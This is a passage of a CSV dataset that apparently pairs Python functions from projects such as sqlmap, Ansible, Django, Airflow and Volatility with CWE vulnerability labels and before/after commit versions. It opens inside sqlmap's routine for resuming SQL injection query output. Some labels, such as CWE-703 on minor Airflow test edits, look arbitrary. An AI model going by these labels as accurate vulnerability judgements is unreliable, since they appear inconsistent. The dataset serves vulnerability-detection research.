SQL injection query output.
""""""
if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
return None
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if not condition:
return None
resumedValue = kb.resumedQueries[conf.url][expression]
if not resumedValue:
return None
resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")
if resumedValue[-1] == ""]"":
resumedValue = resumedValue[:-1]
infoMsg = ""read from file '%s': "" % conf.sessionFile
logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)
if logValue:
logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
else:
logValue = resumedValue
if ""\n"" in logValue:
infoMsg += ""%s..."" % logValue.split(""\n"")[0]
else:
infoMsg += logValue
logger.info(infoMsg)
return resumedValue
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:
return None
substringQuery = queries[kb.dbms].substring
select = re.search(""\ASELECT "", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload)
if not length:
return None
if len(resumedValue) == int(length):
infoMsg = ""read from file '%s': "" % conf.sessionFile
infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
logger.info(infoMsg)
dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
return resumedValue
elif len(resumedValue) < int(length):
infoMsg = ""resumed from file '%s': "" % conf.sessionFile
infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
logger.info(infoMsg)
dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
if select:
newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
else:
newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))
missingCharsLength = int(length) - len(resumedValue)
infoMsg = ""retrieving pending %d query "" % missingCharsLength
infoMsg += ""output characters""
logger.info(infoMsg)
start = time.time()
count, finalValue = bisection(payload, newExpr, length=missingCharsLength)
debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
if len(finalValue) != ( int(length) - len(resumedValue) ):
warnMsg = ""the total length of the query is not ""
warnMsg += ""right, sqlmap is going to retrieve the ""
warnMsg += ""query value from the beginning now""
logger.warn(warnMsg)
return None
return ""%s%s"" % (resumedValue, finalValue)
return None"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/nxos_file_copy.py,1,"def md5sum_check(self, dst, file_system):
command = 'show file {0}{1} md5sum'.format(file_system, dst)
remote_filehash = self.conn.exec_command(command)
remote_filehash = to_bytes(remote_filehash, errors='surrogate_or_strict')
local_file = self.playvals['local_file']
try:
with open(local_file, 'rb') as f:
filecontent = f.read()
except (OSError, IOError) as exc:
raise AnsibleError('Error reading the file: {0}'.format(to_text(exc)))
filecontent = to_bytes(filecontent, errors='surrogate_or_strict')
local_filehash = hashlib.md5(filecontent).hexdigest()
decoded_rhash = remote_filehash.decode(""UTF-8"")
if local_filehash == decoded_rhash:
return True
else:
return False",CWE-327,ansible/ansible,7b1e2d717678dc9ba1ce3fa498b0ea7b839f3aba,"def md5sum_check(self, dst, file_system):
command = 'show file {0}{1} md5sum'.format(file_system, dst)
remote_filehash = self.conn.exec_command(command)
remote_filehash = to_bytes(remote_filehash, errors='surrogate_or_strict')
local_file = self.playvals['local_file']
try:
with open(local_file, 'rb') as f:
filecontent = f.read()
except (OSError, IOError) as exc:
raise AnsibleError('Error reading the file: {0}'.format(to_text(exc)))
filecontent = to_bytes(filecontent, errors='surrogate_or_strict')
local_filehash = hashlib.md5(filecontent).hexdigest()
if local_filehash == remote_filehash:
return True
else:
return False"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_relations(self, cursor, table_name):
""""""
Returns a dictionary of {field_name: (field_name_other_table, other_table)}
representing all relationships to the given table.
""""""
table_name = table_name.upper()
cursor.execute(""""""
SELECT ta.column_name, tb.table_name, tb.column_name
FROM user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
user_tab_cols ta, user_tab_cols tb
WHERE user_constraints.table_name = %s AND
ta.table_name = user_constraints.table_name AND
ta.column_name = ca.column_name AND
ca.table_name = ta.table_name AND
user_constraints.constraint_name = ca.constraint_name AND
user_constraints.r_constraint_name = cb.constraint_name AND
cb.table_name = tb.table_name AND
cb.column_name = tb.column_name AND
ca.position = cb.position"""""", [table_name])
relations = {}
for row in cursor.fetchall():
relations[row[0].lower()] = (row[2].lower(), row[1].lower())
return relations",CWE-89,django/django,aa8ee6a5731b37b73635e7605521fb1a54a5c10d,"def get_relations(self, cursor, table_name):
""""""
Returns a dictionary of {field_name: (field_name_other_table, other_table)}
representing all relationships to the given table.
""""""
table_name = table_name.upper()
cursor.execute(""""""
SELECT ta.column_name, tb.table_name, tb.column_name
FROM user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
user_tab_cols ta, user_tab_cols tb
WHERE user_constraints.table_name = %s AND
ta.table_name = user_constraints.table_name AND
ta.column_name = ca.column_name AND
ca.table_name = ta.table_name AND
user_constraints.constraint_name = ca.constraint_name AND
user_constraints.r_constraint_name = cb.constraint_name AND
cb.table_name = tb.table_name AND
cb.column_name = tb.column_name AND
ca.position = cb.position"""""", [table_name])
relations = {}
for row in cursor.fetchall():
relations[row[0]] = (row[2], row[1].lower())
return relations"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
subnet_ids=None, subnet_names=None, tags=None,
region=None, key=None, keyid=None, profile=None):
'''
Ensure route table with routes exists and is associated to a VPC.
This function requires boto3 to be installed if nat gatewyas are specified.
Example:
.. code-block:: yaml
boto_vpc.route_table_present:
- name: my_route_table
- vpc_id: vpc-123456
- routes:
- destination_cidr_block: 0.0.0.0/0
internet_gateway_name: InternetGateway
- destination_cidr_block: 10.10.11.0/24
instance_id: i-123456
- destination_cidr_block: 10.10.12.0/24
interface_id: eni-123456
- destination_cidr_block: 10.10.13.0/24
instance_name: mygatewayserver
- subnet_names:
- subnet1
- subnet2
name
Name of the route table.
vpc_name
Name of the VPC with which the route table should be associated.
vpc_id
Id of the VPC with which the route table should be associated.
Either vpc_name or vpc_id must be provided.
routes
A list of routes. Each route has a cidr and a target.
subnet_ids
A list of subnet ids to associate
subnet_names
A list of subnet names to associate
tags
A list of tags.
region
Region to connect to.
key
Secret key to be used.
keyid
Access key to be used.
profile
A dict with region, key and keyid, or a pillar key (string) that
contains a dict with region, key and keyid.
'''
ret = {'name': name,
'result': True,
'comment': '',
'changes': {}
}
_ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
tags=tags, region=region, key=key,
keyid=keyid, profile=profile)
ret['changes'] = _ret['changes']
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
if ret['result'] is None and __opts__['test']:
return ret
_ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
region=region, key=key, keyid=keyid, profile=profile)
ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
_ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
subnet_names=subnet_names, tags=tags, region=region,
key=key, keyid=keyid, profile=profile)
ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
return ret",CWE-605,saltstack/salt,5e63158e0e9ea23fd58992aca7e237f3b48bf839,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
subnet_ids=None, subnet_names=None, tags=None,
region=None, key=None, keyid=None, profile=None):
'''
Ensure route table with routes exists and is associated to a VPC.
This function requires boto3 to be installed if nat gatewyas are specified.
Example:
.. code-block:: yaml
boto_vpc.route_table_present:
- name: my_route_table
- vpc_id: vpc-123456
- routes:
- destination_cidr_block: 0.0.0.0/0
internet_gateway_name: InternetGateway
- destination_cidr_block: 10.10.11.0/24
instance_id: i-123456
- destination_cidr_block: 10.10.12.0/24
interface_id: eni-123456
- destination_cidr_block: 10.10.13.0/24
instance_name: mygatewayserver
- subnet_names:
- subnet1
- subnet2
name
Name of the route table.
vpc_name
Name of the VPC with which the route table should be associated.
vpc_id
Id of the VPC with which the route table should be associated.
Either vpc_name or vpc_id must be provided.
routes
A list of routes. Each route has a cidr and a target.
subnet_ids
A list of subnet ids to associate
subnet_names
A list of subnet names to associate
tags
A list of tags.
region
Region to connect to.
key
Secret key to be used.
keyid
Access key to be used.
profile
A dict with region, key and keyid, or a pillar key (string) that
contains a dict with region, key and keyid.
'''
ret = {'name': name,
'result': True,
'comment': '',
'changes': {}
}
_ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
tags=tags, region=region, key=key,
keyid=keyid, profile=profile)
ret['changes'] = _ret['changes']
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
if ret['result'] is None and __opts__['test']:
return ret
_ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
region=region, key=key, keyid=keyid, profile=profile)
ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
_ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
subnet_names=subnet_names, tags=tags, region=region,
key=key, keyid=keyid, profile=profile)
ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
if not _ret['result']:
ret['result'] = _ret['result']
if ret['result'] is False:
return ret
return ret"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/s3.py,0,"def get_s3_connection(aws_connect_kwargs, location, rgw, s3_url):
if s3_url and rgw:
rgw = urlparse(s3_url)
# ensure none of the named arguments we will pass to boto.connect_s3
# are already present in aws_connect_kwargs
for kw in ['is_secure', 'host', 'port', 'calling_format']:
try:
del aws_connect_kwargs[kw]
except KeyError:
pass
s3 = boto.connect_s3(
is_secure=rgw.scheme == 'https',
host=rgw.hostname,
port=rgw.port,
calling_format=OrdinaryCallingFormat(),
**aws_connect_kwargs
)
elif is_fakes3(s3_url):
fakes3 = urlparse(s3_url)
# ensure none of the named arguments we will pass to S3Connection
# are already present in aws_connect_kwargs
for kw in ['is_secure', 'host', 'port', 'calling_format']:
try:
del aws_connect_kwargs[kw]
except KeyError:
pass
s3 = S3Connection(
is_secure=fakes3.scheme == 'fakes3s',
host=fakes3.hostname,
port=fakes3.port,
calling_format=OrdinaryCallingFormat(),
**aws_connect_kwargs
)
elif is_walrus(s3_url):
walrus = urlparse(s3_url).hostname
s3 = boto.connect_walrus(walrus, **aws_connect_kwargs)
else:
aws_connect_kwargs['is_secure'] = True
try:
s3 = connect_to_aws(boto.s3, location, **aws_connect_kwargs)
except AnsibleAWSError:
# use this as fallback because connect_to_region seems to fail in boto + non 'classic' aws accounts in some cases
s3 = boto.connect_s3(**aws_connect_kwargs)
return s3",,ansible/ansible,e7fd38af782a3bb3f488e13770664af7a0d394c3,"def get_s3_connection(aws_connect_kwargs, location, rgw, s3_url):
if s3_url and rgw:
rgw = urlparse(s3_url)
s3 = boto.connect_s3(
is_secure=rgw.scheme == 'https',
host=rgw.hostname,
port=rgw.port,
calling_format=OrdinaryCallingFormat(),
**aws_connect_kwargs
)
elif is_fakes3(s3_url):
fakes3 = urlparse(s3_url)
s3 = S3Connection(
is_secure=fakes3.scheme == 'fakes3s',
host=fakes3.hostname,
port=fakes3.port,
calling_format=OrdinaryCallingFormat(),
**aws_connect_kwargs
)
elif is_walrus(s3_url):
walrus = urlparse(s3_url).hostname
s3 = boto.connect_walrus(walrus, **aws_connect_kwargs)
else:
aws_connect_kwargs['is_secure'] = True
try:
s3 = connect_to_aws(boto.s3, location, **aws_connect_kwargs)
except AnsibleAWSError:
# use this as fallback because connect_to_region seems to fail in boto + non 'classic' aws accounts in some cases
s3 = boto.connect_s3(**aws_connect_kwargs)
return s3"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_auth_backends_adds_session(self):
with patch(""os.environ"", {""AIRFLOW__API__AUTH_BACKEND"": None}):
test_conf = AirflowConfigParser(default_config="""")
# Guarantee we have deprecated settings, so we test the deprecation
# lookup even if we remove this explicit fallback
test_conf.deprecated_values = {
""api"": {
""auth_backends"": (
re.compile(r""^airflow\.api\.auth\.backend\.deny_all$|^$""),
""airflow.api.auth.backend.session"",
""3.0"",
),
},
}
test_conf.read_dict(
{""api"": {""auth_backends"": ""airflow.providers.fab.auth_manager.api.auth.backend.basic_auth""}}
)
with pytest.warns(FutureWarning):
test_conf.validate()
assert (
test_conf.get(""api"", ""auth_backends"")
== ""airflow.providers.fab.auth_manager.api.auth.backend.basic_auth,airflow.api.auth.backend.session""
)",CWE-703,apache/airflow,c2a9833ba74ec273e4a668c7a7962c12171a6299,"def test_auth_backends_adds_session(self):
with patch(""os.environ"", {""AIRFLOW__API__AUTH_BACKEND"": None}):
test_conf = AirflowConfigParser(default_config="""")
# Guarantee we have deprecated settings, so we test the deprecation
# lookup even if we remove this explicit fallback
test_conf.deprecated_values = {
""api"": {
""auth_backends"": (
re.compile(r""^airflow\.api\.auth\.backend\.deny_all$|^$""),
""airflow.api.auth.backend.session"",
""3.0"",
),
},
}
test_conf.read_dict({""api"": {""auth_backends"": ""airflow.api.auth.backend.basic_auth""}})
with pytest.warns(FutureWarning):
test_conf.validate()
assert (
test_conf.get(""api"", ""auth_backends"")
== ""airflow.api.auth.backend.basic_auth,airflow.api.auth.backend.session""
)"
,UNKNOWN,UNKNOWN,tests/operators/test_subdag_operator.py,1,"def test_subdag_in_context_manager(self):
""""""
Creating a sub DAG within a main DAG's context manager
""""""
with DAG(""parent"", default_args=default_args) as dag:
subdag = DAG(""parent.test"", default_args=default_args)
with pytest.warns(RemovedInAirflow3Warning, match=WARNING_MESSAGE):
op = SubDagOperator(task_id=""test"", subdag=subdag)
assert op.dag == dag
assert op.subdag == subdag",CWE-703,apache/airflow,18aa7dca799a77d69d2c148a9437ebbc2e6fcc88,"def test_subdag_in_context_manager(self):
""""""
Creating a sub DAG within a main DAG's context manager
""""""
with DAG(""parent"", default_args=default_args) as dag:
subdag = DAG(""parent.test"", default_args=default_args)
with pytest.warns(RemovedInAirflow3Warning, match=WARNING_MESSAGE):
op = SubDagOperator(task_id=""test"", subdag=subdag)
assert op.dag == dag
assert op.subdag == subdag"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/ordering/tests.py,0,"def test_order_by_f_expression_duplicates(self):
""""""
A column may only be included once (the first occurrence) so we check
to ensure there are no duplicates by inspecting the SQL.
""""""
qs = Article.objects.order_by(F('headline').asc(), F('headline').desc())
sql = str(qs.query).upper()
fragment = sql[sql.find('ORDER BY'):]
self.assertEqual(fragment.count('HEADLINE'), 1)
self.assertQuerysetEqual(
qs, [
""Article 1"",
""Article 2"",
""Article 3"",
""Article 4"",
],
attrgetter(""headline"")
)
qs = Article.objects.order_by(F('headline').desc(), F('headline').asc())
sql = str(qs.query).upper()
fragment = sql[sql.find('ORDER BY'):]
self.assertEqual(fragment.count('HEADLINE'), 1)
self.assertQuerysetEqual(
qs, [
""Article 4"",
""Article 3"",
""Article 2"",
""Article 1"",
],
attrgetter(""headline"")
)",CWE-Unknown,django/django,f6075fb333bae29ee213b050e91eaadef75496dd,"def test_order_by_f_expression_duplicates(self):
""""""
A column may only be included once (the first occurrence) so we check
to ensure there are no duplicates by inspecting the SQL.
""""""
qs = Article.objects.order_by(F('headline').asc(), F('headline').desc())
sql = str(qs.query).upper()
fragment = sql[sql.find('ORDER BY'):]
self.assertEqual(fragment.count('HEADLINE'), 1)
self.assertQuerysetEqual(
qs, [
""Article 1"",
""Article 2"",
""Article 3"",
""Article 4"",
],
attrgetter(""headline"")
)
qs = Article.objects.order_by(F('headline').desc(), F('headline').asc())
sql = str(qs.query).upper()
fragment = sql[sql.find('ORDER BY'):]
self.assertEqual(fragment.count('HEADLINE'), 1)
self.assertQuerysetEqual(
qs, [
""Article 4"",
""Article 3"",
""Article 2"",
""Article 1"",
],
attrgetter(""headline"")
)"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_dags.py,1,"def test_dag_details(
self, test_client, query_params, dag_id, expected_status_code, dag_display_name, start_date
):
response = test_client.get(f""/public/dags/{dag_id}/details"", params=query_params)
assert response.status_code == expected_status_code
if expected_status_code != 200:
return
# Match expected and actual responses below.
res_json = response.json()
last_parsed = res_json[""last_parsed""]
last_parsed_time = res_json[""last_parsed_time""]
file_token = res_json[""file_token""]
expected = {
""asset_expression"": None,
""catchup"": True,
""concurrency"": 16,
""dag_id"": dag_id,
""dag_display_name"": dag_display_name,
""dag_run_timeout"": None,
""default_view"": ""grid"",
""description"": None,
""doc_md"": ""details"",
""end_date"": None,
""fileloc"": __file__,
""file_token"": file_token,
""has_import_errors"": False,
""has_task_concurrency_limits"": True,
""is_active"": True,
""is_paused"": False,
""is_paused_upon_creation"": None,
""last_expired"": None,
""last_parsed"": last_parsed,
""last_parsed_time"": last_parsed_time,
""max_active_runs"": 16,
""max_active_tasks"": 16,
""max_consecutive_failed_dag_runs"": 0,
""next_dagrun_data_interval_end"": None,
""next_dagrun_data_interval_start"": None,
""next_dagrun_logical_date"": None,
""next_dagrun_run_after"": None,
""owners"": [""airflow""],
""params"": {
""foo"": {
""__class"": ""airflow.sdk.definitions.param.Param"",
""description"": None,
""schema"": {},
""value"": 1,
}
},
""render_template_as_native_obj"": False,
""timetable_summary"": None,
""start_date"": start_date,
""tags"": [],
""template_search_path"": None,
""timetable_description"": ""Never, external triggers only"",
""timezone"": UTC_JSON_REPR,
}
assert res_json == expected",CWE-703,apache/airflow,d48657dd6948bd30a3d94e44d82b8e908973efa6,"def test_dag_details(
self, test_client, query_params, dag_id, expected_status_code, dag_display_name, start_date
):
response = test_client.get(f""/public/dags/{dag_id}/details"", params=query_params)
assert response.status_code == expected_status_code
if expected_status_code != 200:
return
# Match expected and actual responses below.
res_json = response.json()
last_parsed = res_json[""last_parsed""]
last_parsed_time = res_json[""last_parsed_time""]
file_token = res_json[""file_token""]
expected = {
""asset_expression"": None,
""catchup"": True,
""concurrency"": 16,
""dag_id"": dag_id,
""dag_display_name"": dag_display_name,
""dag_run_timeout"": None,
""default_view"": ""grid"",
""description"": None,
""doc_md"": ""details"",
""end_date"": None,
""fileloc"": __file__,
""file_token"": file_token,
""has_import_errors"": False,
""has_task_concurrency_limits"": True,
""is_active"": True,
""is_paused"": False,
""is_paused_upon_creation"": None,
""last_expired"": None,
""last_parsed"": last_parsed,
""last_parsed_time"": last_parsed_time,
""max_active_runs"": 16,
""max_active_tasks"": 16,
""max_consecutive_failed_dag_runs"": 0,
""next_dagrun"": None,
""next_dagrun_create_after"": None,
""next_dagrun_data_interval_end"": None,
""next_dagrun_data_interval_start"": None,
""owners"": [""airflow""],
""params"": {
""foo"": {
""__class"": ""airflow.sdk.definitions.param.Param"",
""description"": None,
""schema"": {},
""value"": 1,
}
},
""render_template_as_native_obj"": False,
""timetable_summary"": None,
""start_date"": start_date,
""tags"": [],
""template_search_path"": None,
""timetable_description"": ""Never, external triggers only"",
""timezone"": UTC_JSON_REPR,
}
assert res_json == expected"
,UNKNOWN,UNKNOWN,tests/utils/test_log_handlers.py,1,"def test__read_when_local(self, mock_read_local, create_task_instance):
""""""
Test if local log file exists, then values returned from _read_from_local should be incorporated
into returned log.
""""""
path = Path(
""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log""
)
mock_read_local.return_value = ([""the messages""], [""the log""])
local_log_file_read = create_task_instance(
dag_id=""dag_for_testing_local_log_read"",
task_id=""task_for_testing_local_log_read"",
run_type=DagRunType.SCHEDULED,
execution_date=DEFAULT_DATE,
)
fth = FileTaskHandler("""")
actual = fth._read(ti=local_log_file_read, try_number=1)
mock_read_local.assert_called_with(path)
assert actual == (""*** the messages\nthe log"", {""end_of_log"": True, ""log_pos"": 7})",CWE-703,apache/airflow,94dbc39ffcd85afebcd744ace84637f752ced086,"def test__read_when_local(self, mock_read_local, create_task_instance):
""""""
Test if local log file exists, then values returned from _read_from_local should be incorporated
into returned log.
""""""
path = Path(
""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log"" # noqa: E501
)
mock_read_local.return_value = ([""the messages""], [""the log""])
local_log_file_read = create_task_instance(
dag_id=""dag_for_testing_local_log_read"",
task_id=""task_for_testing_local_log_read"",
run_type=DagRunType.SCHEDULED,
execution_date=DEFAULT_DATE,
)
fth = FileTaskHandler("""")
actual = fth._read(ti=local_log_file_read, try_number=1)
mock_read_local.assert_called_with(path)
assert actual == (""*** the messages\nthe log"", {""end_of_log"": True, ""log_pos"": 7})"
,UNKNOWN,UNKNOWN,test/units/modules/network/radware/test_vdirect_runnable.py,1,"def test_run(self, *args):
with patch.dict('sys.modules', **{
'vdirect_client': self.module_mock,
'vdirect_client.rest_client': self.module_mock,
}):
from ansible.modules.network.radware import vdirect_runnable
Runnable.set_runnable_objects_result(RUNNABLE_OBJECTS_RESULT)
BASE_PARAMS.update(RUNNABLE_PARAMS)
BASE_PARAMS['runnable_type'] = vdirect_runnable.CONFIGURATION_TEMPLATE_RUNNABLE_TYPE
BASE_PARAMS['parameters'] = {""pin"": ""x"", ""alteon"": ""x""}
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
Runnable.set_run_result(RUN_RESULT)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_TEMPLATE_RUNNABLE_TYPE
MODULE_RESULT['msg'] = ""Workflow created.""
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_RUNNABLE_TYPE
BASE_PARAMS['action_name'] = 'a'
MODULE_RESULT['msg'] = ""Workflow action run completed.""
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
result_parameters = {""param1"": ""value1"", ""param2"": ""value2""}
RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['parameters'] = result_parameters
MODULE_RESULT['parameters'] = result_parameters
res = vdirectRunnable.run()
assert res == MODULE_RESULT
RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['status'] = 404
vdirectRunnable.run()
assert res == MODULE_RESULT
RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 400
RUN_RESULT[self.module_mock.rest_client.RESP_REASON] = ""Reason""
RUN_RESULT[self.module_mock.rest_client.RESP_STR] = ""Details""
try:
vdirectRunnable.run()
self.fail(""RunnableException was not thrown for failed run."")
except vdirect_runnable.RunnableException as e:
assert str(e) == ""Reason: Reason. Details:Details.""
RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 200
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""status""] = 400
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""success""] = False
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""exception""] = {""message"": ""exception message""}
try:
vdirectRunnable.run()
self.fail(""RunnableException was not thrown for failed run."")
except vdirect_runnable.RunnableException as e:
assert str(e) == ""Reason: exception message. Details:Details.""",CWE-703,ansible/ansible,e73d3dfe20380a0bdfe213496654c1a8207c7ab7,"def test_run(self, *args):
with patch.dict('sys.modules', **{
'vdirect_client': self.module_mock,
'vdirect_client.rest_client': self.module_mock,
}):
from ansible.modules.network.radware import vdirect_runnable
Runnable.set_runnable_objects_result(RUNNABLE_OBJECTS_RESULT)
BASE_PARAMS.update(RUNNABLE_PARAMS)
BASE_PARAMS['runnable_type'] = vdirect_runnable.CONFIGURATION_TEMPLATE_RUNNABLE_TYPE
BASE_PARAMS['parameters'] = {""pin"": ""x"", ""alteon"": ""x""}
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
Runnable.set_run_result(RUN_RESULT)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_TEMPLATE_RUNNABLE_TYPE
MODULE_RESULT['msg'] = ""Workflow created.""
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_RUNNABLE_TYPE
BASE_PARAMS['action_name'] = 'a'
MODULE_RESULT['msg'] = ""Workflow action run completed.""
vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
res = vdirectRunnable.run()
assert res == MODULE_RESULT
result_parameters = {""param1"": ""value1"", ""param2"": ""value2""}
RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['parameters'] = result_parameters
MODULE_RESULT['parameters'] = result_parameters
res = vdirectRunnable.run()
assert res == MODULE_RESULT
RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 400
RUN_RESULT[self.module_mock.rest_client.RESP_REASON] = ""Reason""
RUN_RESULT[self.module_mock.rest_client.RESP_STR] = ""Details""
try:
vdirectRunnable.run()
self.fail(""RunnableException was not thrown for failed run."")
except vdirect_runnable.RunnableException as e:
assert str(e) == ""Reason: Reason. Details:Details.""
RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 200
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""status""] = 400
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""success""] = False
RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""exception""] = {""message"": ""exception message""}
try:
vdirectRunnable.run()
self.fail(""RunnableException was not thrown for failed run."")
except vdirect_runnable.RunnableException as e:
assert str(e) == ""Reason: exception message. Details:Details."""
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/svcscan.py,0,"def modification(self, profile):
profile.merge_overlay({'_SERVICE_RECORD': [ None, {
'PrevEntry': [ 0x0, ['pointer', ['_SERVICE_RECORD']]],
'ServiceName': [ 0x8, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
'DisplayName': [ 0x10, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
'Order': [ 0x18, ['unsigned int']],
'ServiceProcess': [ 0x28, ['pointer', ['_SERVICE_PROCESS']]],
'DriverName': [ 0x28, ['pointer', ['String', dict(encoding = 'utf16', length = 256)]]],
'Type' : [ 0x30, ['Flags', {'bitmap': SERVICE_TYPE_FLAGS}]],
'State': [ 0x34, ['Enumeration', dict(target = 'long', choices = SERVICE_STATE_ENUM)]],
}]})",,volatilityfoundation/volatility,739f951a05ec57290c31787a8baa77570ff312f9,"def modification(self, profile):
profile.merge_overlay({'_SERVICE_RECORD': [ None, {
'PrevEntry': [ 0x0, ['pointer', ['_SERVICE_RECORD']]],
'ServiceName': [ 0x8, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
'DisplayName': [ 0x10, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
'Order': [ 0x18, ['unsigned int']],
'ServiceProcess': [ 0x28, ['pointer', ['_SERVICE_PROCESS']]],
'DriverName': [ 0x28, ['pointer', ['String', dict(encoding = 'utf16', length = 256)]]],
'Type' : [ 0x30, ['Flags', {'bitmap': SERVICE_TYPE_FLAGS}]],
'State': [ 0x34, ['Enumeration', dict(target = 'long', choices = SERVICE_STATE_ENUM)]],
}]})"
,UNKNOWN,UNKNOWN,tests/unit/modules/boto_vpc_test.py,1,"def test_get_subnet_association_multiple_subnets_different_vpc(self):
'''
tests that given multiple subnet ids in different VPCs that False is
returned.
'''
vpc_a = self._create_vpc()
vpc_b = self.conn.create_vpc(cidr_block)
subnet_a = self._create_subnet(vpc_a.id, '10.0.0.0/24')
subnet_b = self._create_subnet(vpc_b.id, '10.0.0.0/24')
subnet_association = boto_vpc.get_subnet_association([subnet_a.id, subnet_b.id],
**conn_parameters)
